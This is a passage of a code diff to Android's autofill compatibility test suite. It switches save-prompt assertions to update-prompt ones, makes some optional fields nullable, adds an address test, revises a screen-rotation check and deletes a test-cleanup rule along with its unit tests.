-        final PackageManager packageManager = context.getPackageManager();
-        if (packageManager.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
-            Log.v(TAG, "isRotationSupported(): is auto");
+        if (!isScreenRotationSupported(context)) {
+            Log.v(TAG, "isRotationSupported(): screen rotation not supported");
             return false;
         }
         if (context.getPackageManager().hasSystemFeature(PackageManager.FEATURE_LEANBACK)) {
             Log.v(TAG, "isRotationSupported(): has leanback feature");
             return false;
         }
-        if (packageManager.hasSystemFeature(PackageManager.FEATURE_PC)) {
-            Log.v(TAG, "isRotationSupported(): is PC");
-            return false;
-        }
         return true;
     }
 
+     /**
+     * Returns {@code true} if display rotation is supported, {@code false} otherwise.
+     */
+    private static boolean isScreenRotationSupported(Context context) {
+        try {
+            return !getBoolean(context, RESOURCE_BOOLEAN_CONFIG_FORCE_DEFAULT_ORIENTATION);
+        } catch (Resources.NotFoundException e) {
+            Log.d(TAG, "Resource not found: "
+                    + RESOURCE_BOOLEAN_CONFIG_FORCE_DEFAULT_ORIENTATION
+                    + ". Assume rotation supported");
+            return true;
+        }
+    }
+
+    private static boolean getBoolean(Context context, String id) {
+        final Resources resources = context.getResources();
+        final int booleanId = resources.getIdentifier(id, "bool", "android");
+        return resources.getBoolean(booleanId);
+    }
+
     /**
      * Uses Shell command to get the Autofill logging level.
      */
diff --git a/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
index c208917..cfd1841 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
@@ -86,10 +86,6 @@
 import android.view.autofill.AutofillManager;
 import android.widget.RemoteViews;
 
-import com.android.cts.mockime.ImeCommand;
-import com.android.cts.mockime.ImeEventStream;
-import com.android.cts.mockime.MockImeSession;
-
 import org.junit.Test;
 
 import java.util.concurrent.CountDownLatch;
@@ -858,7 +854,7 @@
         assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
 
         // Assert the snack bar is shown and tap "Save".
-        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+        mUiBot.updateForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
 
         final SaveRequest saveRequest = sReplier.getNextSaveRequest();
 
@@ -961,7 +957,7 @@
             assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
 
             // Assert the snack bar is shown and tap "Save".
-            mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+            mUiBot.updateForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
 
             final SaveRequest saveRequest = sReplier.getNextSaveRequest();
 
diff --git a/tests/autofillservice/src/android/autofillservice/cts/LoginWithStringsActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/LoginWithStringsActivityTest.java
index 8474d28..42ff86a 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/LoginWithStringsActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/LoginWithStringsActivityTest.java
@@ -115,7 +115,7 @@
         assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
 
         // Assert the snack bar is shown and tap "Save".
-        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+        mUiBot.updateForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
 
         final SaveRequest saveRequest = sReplier.getNextSaveRequest();
 
diff --git a/tests/autofillservice/src/android/autofillservice/cts/MyWebView.java b/tests/autofillservice/src/android/autofillservice/cts/MyWebView.java
index c46a516..754d5e9 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/MyWebView.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/MyWebView.java
@@ -21,9 +21,7 @@
 
 import android.content.Context;
 import android.util.AttributeSet;
-import android.util.Log;
 import android.util.SparseArray;
-import android.view.autofill.AutofillManager;
 import android.view.autofill.AutofillValue;
 import android.webkit.WebView;
 
@@ -35,7 +33,6 @@
  */
 public class MyWebView extends WebView {
 
-    private static final String TAG = "MyWebView";
     private FillExpectation mExpectation;
 
     public MyWebView(Context context) {
@@ -44,7 +41,6 @@
 
     public MyWebView(Context context, AttributeSet attrs) {
         super(context, attrs);
-        Log.d(TAG, "isAutofillEnabled() on constructor? " + isAutofillEnabled());
     }
 
     public void expectAutofill(String username, String password) {
@@ -99,10 +95,6 @@
         }
     }
 
-    boolean isAutofillEnabled() {
-        return getContext().getSystemService(AutofillManager.class).isEnabled();
-    }
-
     private class FillExpectation {
         private final CountDownLatch mLatch = new CountDownLatch(1);
         private final String mExpectedUsername;
diff --git a/tests/autofillservice/src/android/autofillservice/cts/OptionalSaveActivity.java b/tests/autofillservice/src/android/autofillservice/cts/OptionalSaveActivity.java
index e326231..561b727 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/OptionalSaveActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/OptionalSaveActivity.java
@@ -25,6 +25,8 @@
 import android.widget.Button;
 import android.widget.EditText;
 
+import androidx.annotation.Nullable;
+
 /**
  * Activity that has the following fields:
  *
@@ -105,12 +107,21 @@
      * Sets the expectation for an auto-fill request, so it can be asserted through
      * {@link #assertAutoFilled()} later.
      */
-    void expectAutoFill(String address1, String address2, String city, String favColor) {
+    void expectAutoFill(@Nullable String address1, @Nullable String address2, @Nullable String city,
+            @Nullable String favColor) {
         mExpectation = new FillExpectation(address1, address2, city, favColor);
-        mAddress1.addTextChangedListener(mExpectation.address1Watcher);
-        mAddress2.addTextChangedListener(mExpectation.address2Watcher);
-        mCity.addTextChangedListener(mExpectation.cityWatcher);
-        mFavoriteColor.addTextChangedListener(mExpectation.favoriteColorWatcher);
+        if (address1 != null) {
+            mAddress1.addTextChangedListener(mExpectation.address1Watcher);
+        }
+        if (address2 != null) {
+            mAddress2.addTextChangedListener(mExpectation.address2Watcher);
+        }
+        if (city != null) {
+            mCity.addTextChangedListener(mExpectation.cityWatcher);
+        }
+        if (favColor != null) {
+            mFavoriteColor.addTextChangedListener(mExpectation.favoriteColorWatcher);
+        }
     }
 
     /**
@@ -119,10 +130,18 @@
      */
     void assertAutoFilled() throws Exception {
         assertWithMessage("expectAutoFill() not called").that(mExpectation).isNotNull();
-        mExpectation.address1Watcher.assertAutoFilled();
-        mExpectation.address2Watcher.assertAutoFilled();
-        mExpectation.cityWatcher.assertAutoFilled();
-        mExpectation.favoriteColorWatcher.assertAutoFilled();
+        if (mExpectation.address1Watcher != null) {
+            mExpectation.address1Watcher.assertAutoFilled();
+        }
+        if (mExpectation.address2Watcher != null) {
+            mExpectation.address2Watcher.assertAutoFilled();
+        }
+        if (mExpectation.cityWatcher != null) {
+            mExpectation.cityWatcher.assertAutoFilled();
+        }
+        if (mExpectation.favoriteColorWatcher != null) {
+            mExpectation.favoriteColorWatcher.assertAutoFilled();
+        }
     }
 
     /**
@@ -134,11 +153,15 @@
         private final OneTimeTextWatcher cityWatcher;
         private final OneTimeTextWatcher favoriteColorWatcher;
 
-        private FillExpectation(String address1, String address2, String city, String favColor) {
-            address1Watcher = new OneTimeTextWatcher("address1", mAddress1, address1);
-            address2Watcher = new OneTimeTextWatcher("address2", mAddress2, address2);
-            cityWatcher = new OneTimeTextWatcher("city", mCity, city);
-            favoriteColorWatcher = new OneTimeTextWatcher("favColor", mFavoriteColor, favColor);
+        private FillExpectation(@Nullable String address1, @Nullable String address2,
+                @Nullable String city, @Nullable String favColor) {
+            address1Watcher = address1 == null ? null
+                    : new OneTimeTextWatcher("address1", mAddress1, address1);
+            address2Watcher = address2 == null ? null
+                    : new OneTimeTextWatcher("address2", mAddress2, address2);
+            cityWatcher = city == null ? null : new OneTimeTextWatcher("city", mCity, city);
+            favoriteColorWatcher = favColor == null ? null
+                    : new OneTimeTextWatcher("favColor", mFavoriteColor, favColor);
         }
     }
 }
diff --git a/tests/autofillservice/src/android/autofillservice/cts/OptionalSaveActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/OptionalSaveActivityTest.java
index 5aaedde..ab1ce58 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/OptionalSaveActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/OptionalSaveActivityTest.java
@@ -322,7 +322,7 @@
         mActivity.save();
 
         // Assert the snack bar is shown and tap "Save".
-        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_ADDRESS);
+        mUiBot.updateForAutofill(true, SAVE_DATA_TYPE_ADDRESS);
 
         final SaveRequest saveRequest = sReplier.getNextSaveRequest();
         assertWithMessage("onSave() not called").that(saveRequest).isNotNull();
@@ -652,7 +652,7 @@
         mActivity.save();
 
         // ...and make sure the snack bar is shown.
-        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_ADDRESS);
+        mUiBot.updateForAutofill(true, SAVE_DATA_TYPE_ADDRESS);
 
         // Finally, assert values.
         final SaveRequest saveRequest = sReplier.getNextSaveRequest();
@@ -664,4 +664,53 @@
         assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_FAVORITE_COLOR),
                 "Yellow");
     }
+
+    @Test
+    public void testShowUpdateWhenUserChangedOptionalValueFromDatasetAndRequiredNotFromDataset()
+            throws Exception {
+        // Set service.
+        enableService();
+
+        // Address 2 will be required but not available
+        mActivity.expectAutoFill("742 Evergreen Terrace", null, "Springfield", "Yellow");
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_ADDRESS, ID_ADDRESS1, ID_ADDRESS2)
+                .setOptionalSavableIds(ID_CITY)
+                .addDataset(new CannedDataset.Builder()
+                        .setPresentation(createPresentation("SF"))
+                        .setField(ID_ADDRESS1, "742 Evergreen Terrace")
+                        .setField(ID_CITY, "Springfield")
+                        .setField(ID_FAVORITE_COLOR, "Yellow")
+                        .build())
+                .build());
+
+        // Trigger autofill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mAddress1.requestFocus());
+        sReplier.getNextFillRequest();
+
+        mUiBot.selectDataset("SF");
+        mActivity.assertAutoFilled();
+
+        // Change required and optional field.
+        mActivity.syncRunOnUiThread(() -> {
+            mActivity.mAddress2.setText("Simpsons House");
+            mActivity.mCity.setText("Shelbyville");
+        });
+        // Trigger save...
+        mActivity.save();
+
+        // ...and make sure the snack bar is shown.
+        mUiBot.updateForAutofill(true, SAVE_DATA_TYPE_ADDRESS);
+
+        // Finally, assert values.
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_ADDRESS1),
+                "742 Evergreen Terrace");
+        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_ADDRESS2),
+                "Simpsons House");
+        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_CITY), "Shelbyville");
+        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_FAVORITE_COLOR),
+                "Yellow");
+    }
 }
diff --git a/tests/autofillservice/src/android/autofillservice/cts/SafeCleanerRule.java b/tests/autofillservice/src/android/autofillservice/cts/SafeCleanerRule.java
deleted file mode 100644
index bf36138..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/SafeCleanerRule.java
+++ /dev/null
@@ -1,170 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import androidx.annotation.NonNull;
-import android.util.Log;
-
-import org.junit.rules.TestRule;
-import org.junit.runner.Description;
-import org.junit.runners.model.Statement;
-
-import java.io.IOException;
-import java.io.PrintWriter;
-import java.io.StringWriter;
-import java.util.ArrayList;
-import java.util.List;
-import java.util.concurrent.Callable;
-
-/**
- * Rule used to safely run clean up code after a test is finished, so that exceptions thrown by
- * the cleanup code don't hide exception thrown by the test body
- */
-// TODO: move to common CTS code
-public final class SafeCleanerRule implements TestRule {
-
-    private static final String TAG = "SafeCleanerRule";
-
-    private final List<Runnable> mCleaners = new ArrayList<>();
-    private final List<Callable<List<Throwable>>> mExtraThrowables = new ArrayList<>();
-    private final List<Throwable> mThrowables = new ArrayList<>();
-    private Dumper mDumper;
-
-    /**
-     * Runs {@code cleaner} after the test is finished, catching any {@link Throwable} thrown by it.
-     */
-    public SafeCleanerRule run(@NonNull Runnable cleaner) {
-        mCleaners.add(cleaner);
-        return this;
-    }
-
-    /**
-     * Adds exceptions directly.
-     *
-     * <p>Typically used when exceptions were caught asychronously during the test execution.
-     */
-    public SafeCleanerRule add(@NonNull Callable<List<Throwable>> exceptions) {
-        mExtraThrowables.add(exceptions);
-        return this;
-    }
-
-    /**
-     * Sets a {@link Dumper} used to log errors.
-     */
-    public SafeCleanerRule setDumper(@NonNull Dumper dumper) {
-        mDumper = dumper;
-        return this;
-    }
-
-    @Override
-    public Statement apply(Statement base, Description description) {
-        return new Statement() {
-            @Override
-            public void evaluate() throws Throwable {
-                // First run the test
-                try {
-                    base.evaluate();
-                } catch (Throwable t) {
-                    Log.w(TAG, "Adding exception from main test");
-                    mThrowables.add(t);
-                }
-
-                // Then the cleanup runners
-                for (Runnable runner : mCleaners) {
-                    try {
-                        runner.run();
-                    } catch (Throwable t) {
-                        Log.w(TAG, "Adding exception from cleaner");
-                        mThrowables.add(t);
-                    }
-                }
-
-                // And finally add the extra exceptions
-                for (Callable<List<Throwable>> extraThrowablesCallable : mExtraThrowables) {
-                    final List<Throwable> extraThrowables = extraThrowablesCallable.call();
-                    if (extraThrowables != null) {
-                        Log.w(TAG, "Adding " + extraThrowables.size() + " extra exceptions");
-                        mThrowables.addAll(extraThrowables);
-                    }
-                }
-
-                // Finally, throw up!
-                if (mThrowables.isEmpty()) return;
-
-                final int numberExceptions = mThrowables.size();
-                if (numberExceptions == 1) {
-                    fail(description, mThrowables.get(0));
-                }
-                fail(description, new MultipleExceptions(mThrowables));
-            }
-
-        };
-    }
-
-    private void fail(Description description, Throwable t) throws Throwable {
-        if (mDumper != null) {
-            mDumper.dump(description.getDisplayName(), t);
-        }
-        throw t;
-    }
-
-    private static String toMesssage(List<Throwable> throwables) {
-        String msg = "D'OH!";
-        try {
-            try (StringWriter sw = new StringWriter(); PrintWriter pw = new PrintWriter(sw)) {
-                sw.write("Caught " + throwables.size() + " exceptions\n");
-                for (int i = 0; i < throwables.size(); i++) {
-                    sw.write("\n---- Begin of exception #" + (i + 1) + " ----\n");
-                    final Throwable exception = throwables.get(i);
-                    exception.printStackTrace(pw);
-                    sw.write("---- End of exception #" + (i + 1) + " ----\n\n");
-                }
-                msg = sw.toString();
-            }
-        } catch (IOException e) {
-            // ignore close() errors - should not happen...
-            Log.e(TAG, "Exception closing StringWriter: " + e);
-        }
-        return msg;
-    }
-
-    // VisibleForTesting
-    static class MultipleExceptions extends AssertionError {
-        private final List<Throwable> mThrowables;
-
-        private MultipleExceptions(List<Throwable> throwables) {
-            super(toMesssage(throwables));
-
-            this.mThrowables = throwables;
-        }
-
-        List<Throwable> getThrowables() {
-            return mThrowables;
-        }
-    }
-
-    /**
-     * Optional interface used to dump an error.
-     */
-    public interface Dumper {
-
-        /**
-         * Dumps an error.
-         */
-        void dump(@NonNull String testName, @NonNull Throwable t);
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/SafeCleanerRuleTest.java b/tests/autofillservice/src/android/autofillservice/cts/SafeCleanerRuleTest.java
deleted file mode 100644
index f41b001..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/SafeCleanerRuleTest.java
+++ /dev/null
@@ -1,256 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import static org.mockito.Mockito.verify;
-import static org.testng.Assert.expectThrows;
-
-import android.autofillservice.cts.SafeCleanerRule.Dumper;
-import android.platform.test.annotations.AppModeFull;
-
-import com.google.common.collect.ImmutableList;
-
-import org.junit.Test;
-import org.junit.runner.Description;
-import org.junit.runner.RunWith;
-import org.junit.runners.model.Statement;
-import org.mockito.Mock;
-import org.mockito.junit.MockitoJUnitRunner;
-
-import java.util.List;
-import java.util.concurrent.Callable;
-
-@RunWith(MockitoJUnitRunner.class)
-@AppModeFull // Unit test
-public class SafeCleanerRuleTest {
-
-    private static class FailureStatement extends Statement {
-        private final Throwable mThrowable;
-
-        FailureStatement(Throwable t) {
-            mThrowable = t;
-        }
-
-        @Override
-        public void evaluate() throws Throwable {
-            throw mThrowable;
-        }
-    }
-
-    private final Description mDescription = Description.createSuiteDescription("Whatever");
-    private final RuntimeException mRuntimeException = new RuntimeException("D'OH!");
-
-    @Mock private Dumper mDumper;
-
-    // Use mocks for objects that don't throw any exception.
-    @Mock private Runnable mGoodGuyRunner1;
-    @Mock private Runnable mGoodGuyRunner2;
-    @Mock private Callable<List<Throwable>> mGoodGuyExtraExceptions1;
-    @Mock private Callable<List<Throwable>> mGoodGuyExtraExceptions2;
-    @Mock private Statement mGoodGuyStatement;
-
-    @Test
-    public void testEmptyRule_testPass() throws Throwable {
-        final SafeCleanerRule rule = new SafeCleanerRule();
-        rule.apply(mGoodGuyStatement, mDescription).evaluate();
-    }
-
-    @Test
-    public void testEmptyRule_testFails() throws Throwable {
-        final SafeCleanerRule rule = new SafeCleanerRule();
-        final Throwable actualException = expectThrows(RuntimeException.class,
-                () -> rule.apply(new FailureStatement(mRuntimeException), mDescription).evaluate());
-        assertThat(actualException).isSameAs(mRuntimeException);
-    }
-
-    @Test
-    public void testEmptyRule_testFails_withDumper() throws Throwable {
-        final SafeCleanerRule rule = new SafeCleanerRule().setDumper(mDumper);
-        final Throwable actualException = expectThrows(RuntimeException.class,
-                () -> rule.apply(new FailureStatement(mRuntimeException), mDescription).evaluate());
-        assertThat(actualException).isSameAs(mRuntimeException);
-        verify(mDumper).dump("Whatever", actualException);
-    }
-
-    @Test
-    public void testOnlyTestFails() throws Throwable {
-        final SafeCleanerRule rule = new SafeCleanerRule()
-                .run(mGoodGuyRunner1)
-                .add(mGoodGuyExtraExceptions1);
-        final Throwable actualException = expectThrows(RuntimeException.class,
-                () -> rule.apply(new FailureStatement(mRuntimeException), mDescription).evaluate());
-        assertThat(actualException).isSameAs(mRuntimeException);
-        verify(mGoodGuyRunner1).run();
-        verify(mGoodGuyExtraExceptions1).call();
-    }
-
-    @Test
-    public void testOnlyTestFails_withDumper() throws Throwable {
-        final SafeCleanerRule rule = new SafeCleanerRule()
-                .setDumper(mDumper)
-                .run(mGoodGuyRunner1)
-                .add(mGoodGuyExtraExceptions1);
-        final Throwable actualException = expectThrows(RuntimeException.class,
-                () -> rule.apply(new FailureStatement(mRuntimeException), mDescription).evaluate());
-        assertThat(actualException).isSameAs(mRuntimeException);
-        verify(mGoodGuyRunner1).run();
-        verify(mGoodGuyExtraExceptions1).call();
-        verify(mDumper).dump("Whatever", actualException);
-    }
-
-    @Test
-    public void testTestPass_oneRunnerFails() throws Throwable {
-        final SafeCleanerRule rule = new SafeCleanerRule()
-                .run(mGoodGuyRunner1)
-                .run(() -> { throw mRuntimeException; })
-                .run(mGoodGuyRunner2)
-                .add(mGoodGuyExtraExceptions1);
-        final Throwable actualException = expectThrows(RuntimeException.class,
-                () -> rule.apply(mGoodGuyStatement, mDescription).evaluate());
-        assertThat(actualException).isSameAs(mRuntimeException);
-        verify(mGoodGuyRunner1).run();
-        verify(mGoodGuyRunner2).run();
-        verify(mGoodGuyExtraExceptions1).call();
-    }
-
-    @Test
-    public void testTestPass_oneRunnerFails_withDumper() throws Throwable {
-        final SafeCleanerRule rule = new SafeCleanerRule()
-                .setDumper(mDumper)
-                .run(mGoodGuyRunner1)
-                .run(() -> {
-                    throw mRuntimeException;
-                })
-                .run(mGoodGuyRunner2)
-                .add(mGoodGuyExtraExceptions1);
-        final Throwable actualException = expectThrows(RuntimeException.class,
-                () -> rule.apply(mGoodGuyStatement, mDescription).evaluate());
-        assertThat(actualException).isSameAs(mRuntimeException);
-        verify(mGoodGuyRunner1).run();
-        verify(mGoodGuyRunner2).run();
-        verify(mGoodGuyExtraExceptions1).call();
-        verify(mDumper).dump("Whatever", actualException);
-    }
-
-    @Test
-    public void testTestPass_oneExtraExceptionThrown() throws Throwable {
-        final SafeCleanerRule rule = new SafeCleanerRule()
-                .run(mGoodGuyRunner1)
-                .add(() -> {
-                    return ImmutableList.of(mRuntimeException);
-                })
-                .add(mGoodGuyExtraExceptions1)
-                .run(mGoodGuyRunner2);
-        final Throwable actualException = expectThrows(RuntimeException.class,
-                () -> rule.apply(mGoodGuyStatement, mDescription).evaluate());
-        assertThat(actualException).isSameAs(mRuntimeException);
-        verify(mGoodGuyRunner1).run();
-        verify(mGoodGuyRunner2).run();
-        verify(mGoodGuyExtraExceptions1).call();
-    }
-
-    @Test
-    public void testTestPass_oneExtraExceptionThrown_withDumper() throws Throwable {
-        final SafeCleanerRule rule = new SafeCleanerRule()
-                .setDumper(mDumper)
-                .run(mGoodGuyRunner1)
-                .add(() -> { return ImmutableList.of(mRuntimeException); })
-                .add(mGoodGuyExtraExceptions1)
-                .run(mGoodGuyRunner2);
-        final Throwable actualException = expectThrows(RuntimeException.class,
-                () -> rule.apply(mGoodGuyStatement, mDescription).evaluate());
-        assertThat(actualException).isSameAs(mRuntimeException);
-        verify(mGoodGuyRunner1).run();
-        verify(mGoodGuyRunner2).run();
-        verify(mGoodGuyExtraExceptions1).call();
-        verify(mDumper).dump("Whatever", actualException);
-    }
-
-    @Test
-    public void testThrowTheKitchenSinkAKAEverybodyThrows() throws Throwable {
-        final Exception extra1 = new Exception("1");
-        final Exception extra2 = new Exception("2");
-        final Exception extra3 = new Exception("3");
-        final Error error1 = new Error("one");
-        final Error error2 = new Error("two");
-        final RuntimeException testException  = new RuntimeException("TEST, Y U NO PASS?");
-        final SafeCleanerRule rule = new SafeCleanerRule()
-                .run(mGoodGuyRunner1)
-                .add(mGoodGuyExtraExceptions1)
-                .add(() -> {
-                    return ImmutableList.of(extra1, extra2);
-                })
-                .run(() -> {
-                    throw error1;
-                })
-                .run(mGoodGuyRunner2)
-                .add(() -> {
-                    return ImmutableList.of(extra3);
-                })
-                .add(mGoodGuyExtraExceptions2)
-                .run(() -> {
-                    throw error2;
-                });
-
-        final SafeCleanerRule.MultipleExceptions actualException = expectThrows(
-                SafeCleanerRule.MultipleExceptions.class,
-                () -> rule.apply(new FailureStatement(testException), mDescription).evaluate());
-        assertThat(actualException.getThrowables())
-                .containsExactly(testException, error1, error2, extra1, extra2, extra3)
-                .inOrder();
-        verify(mGoodGuyRunner1).run();
-        verify(mGoodGuyRunner2).run();
-        verify(mGoodGuyExtraExceptions1).call();
-    }
-
-    @Test
-    public void testThrowTheKitchenSinkAKAEverybodyThrows_withDumper() throws Throwable {
-        final Exception extra1 = new Exception("1");
-        final Exception extra2 = new Exception("2");
-        final Exception extra3 = new Exception("3");
-        final Error error1 = new Error("one");
-        final Error error2 = new Error("two");
-        final RuntimeException testException  = new RuntimeException("TEST, Y U NO PASS?");
-        final SafeCleanerRule rule = new SafeCleanerRule()
-                .setDumper(mDumper)
-                .run(mGoodGuyRunner1)
-                .add(mGoodGuyExtraExceptions1)
-                .add(() -> {
-                    return ImmutableList.of(extra1, extra2);
-                })
-                .run(() -> {
-                    throw error1;
-                })
-                .run(mGoodGuyRunner2)
-                .add(() -> { return ImmutableList.of(extra3); })
-                .add(mGoodGuyExtraExceptions2)
-                .run(() -> { throw error2; });
-
-        final SafeCleanerRule.MultipleExceptions actualException = expectThrows(
-                SafeCleanerRule.MultipleExceptions.class,
-                () -> rule.apply(new FailureStatement(testException), mDescription).evaluate());
-        assertThat(actualException.getThrowables())
-                .containsExactly(testException, error1, error2, extra1, extra2, extra3)
-                .inOrder();
-        verify(mGoodGuyRunner1).run();
-        verify(mGoodGuyRunner2).run();
-        verify(mGoodGuyExtraExceptions1).call();
-        verify(mDumper).dump("Whatever", actualException);
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivityTest.java
index eb59da4..673d13d 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivityTest.java
@@ -122,7 +122,7 @@
             mActivity.mPassword.setText("PASS");
             mActivity.mCommit.performClick();
         });
-        final UiObject2 saveUi = mUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
+        final UiObject2 saveUi = mUiBot.assertUpdateShowing(SAVE_DATA_TYPE_GENERIC);
 
         // Save it...
         mUiBot.saveForAutofill(saveUi, true);
@@ -177,7 +177,7 @@
         input.setText("ID");
         password.setText("PASS");
         mUiBot.assertShownByRelativeId(ID_COMMIT).click();
-        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_GENERIC);
+        mUiBot.updateForAutofill(true, SAVE_DATA_TYPE_GENERIC);
 
         // ... and assert results
         final SaveRequest saveRequest = sReplier.getNextSaveRequest();
@@ -797,7 +797,7 @@
             mActivity.mPassword.setText("PASS");
             mActivity.mCommit.performClick();
         });
-        final UiObject2 saveUi = mUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
+        final UiObject2 saveUi = mUiBot.assertUpdateShowing(SAVE_DATA_TYPE_GENERIC);
 
         // Save it...
         mUiBot.saveForAutofill(saveUi, true);
diff --git a/tests/autofillservice/src/android/autofillservice/cts/TimePickerTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/TimePickerTestCase.java
index 4bd8cf0..16973f0 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/TimePickerTestCase.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/TimePickerTestCase.java
@@ -81,7 +81,7 @@
         activity.setTime(10, 40);
         activity.tapOk();
 
-        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_GENERIC);
+        mUiBot.updateForAutofill(true, SAVE_DATA_TYPE_GENERIC);
         final SaveRequest saveRequest = sReplier.getNextSaveRequest();
         assertWithMessage("onSave() not called").that(saveRequest).isNotNull();
 
diff --git a/tests/autofillservice/src/android/autofillservice/cts/UiBot.java b/tests/autofillservice/src/android/autofillservice/cts/UiBot.java
index 1fe998e..a2876e6 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/UiBot.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/UiBot.java
@@ -74,6 +74,7 @@
     private static final String RESOURCE_ID_SAVE_TITLE = "autofill_save_title";
     private static final String RESOURCE_ID_CONTEXT_MENUITEM = "floating_toolbar_menu_item_text";
     private static final String RESOURCE_ID_SAVE_BUTTON_NO = "autofill_save_no";
+    private static final String RESOURCE_ID_SAVE_BUTTON_YES = "autofill_save_yes";
 
     private static final String RESOURCE_STRING_SAVE_TITLE = "autofill_save_title";
     private static final String RESOURCE_STRING_SAVE_TITLE_WITH_TYPE =
@@ -87,12 +88,19 @@
             "autofill_save_type_email_address";
     private static final String RESOURCE_STRING_SAVE_BUTTON_NOT_NOW = "save_password_notnow";
     private static final String RESOURCE_STRING_SAVE_BUTTON_NO_THANKS = "autofill_save_no";
+    private static final String RESOURCE_STRING_SAVE_BUTTON_YES = "autofill_save_yes";
+    private static final String RESOURCE_STRING_UPDATE_BUTTON_YES = "autofill_update_yes";
+    private static final String RESOURCE_STRING_UPDATE_TITLE = "autofill_update_title";
+    private static final String RESOURCE_STRING_UPDATE_TITLE_WITH_TYPE =
+            "autofill_update_title_with_type";
 
     private static final String RESOURCE_STRING_AUTOFILL = "autofill";
     private static final String RESOURCE_STRING_DATASET_PICKER_ACCESSIBILITY_TITLE =
             "autofill_picker_accessibility_title";
     private static final String RESOURCE_STRING_SAVE_SNACKBAR_ACCESSIBILITY_TITLE =
             "autofill_save_accessibility_title";
+    private static final String RESOURCE_BOOLEAN_CONFIG_FORCE_DEFAULT_ORIENTATION =
+            "config_forceDefaultOrientation";
 
 
     static final BySelector DATASET_PICKER_SELECTOR = By.res("android", RESOURCE_ID_DATASET_PICKER);
@@ -438,6 +446,14 @@
     }
 
     /**
+     * Asserts the save snackbar is showing with the Update message and returns it.
+     */
+    UiObject2 assertUpdateShowing(int... types) throws Exception {
+        return assertSaveOrUpdateShowing(/* update= */ true, SaveInfo.NEGATIVE_BUTTON_STYLE_CANCEL,
+                null, SAVE_TIMEOUT, types);
+    }
+
+    /**
      * Presses the Back button.
      */
     void pressBack() {
@@ -485,23 +501,25 @@
     }
 
     UiObject2 assertSaveShowing(String description, int... types) throws Exception {
-        return assertSaveShowing(SaveInfo.NEGATIVE_BUTTON_STYLE_CANCEL, description,
-                SAVE_TIMEOUT, types);
+        return assertSaveOrUpdateShowing(/* update= */ false, SaveInfo.NEGATIVE_BUTTON_STYLE_CANCEL,
+                description, SAVE_TIMEOUT, types);
     }
 
     UiObject2 assertSaveShowing(String description, Timeout timeout, int... types)
             throws Exception {
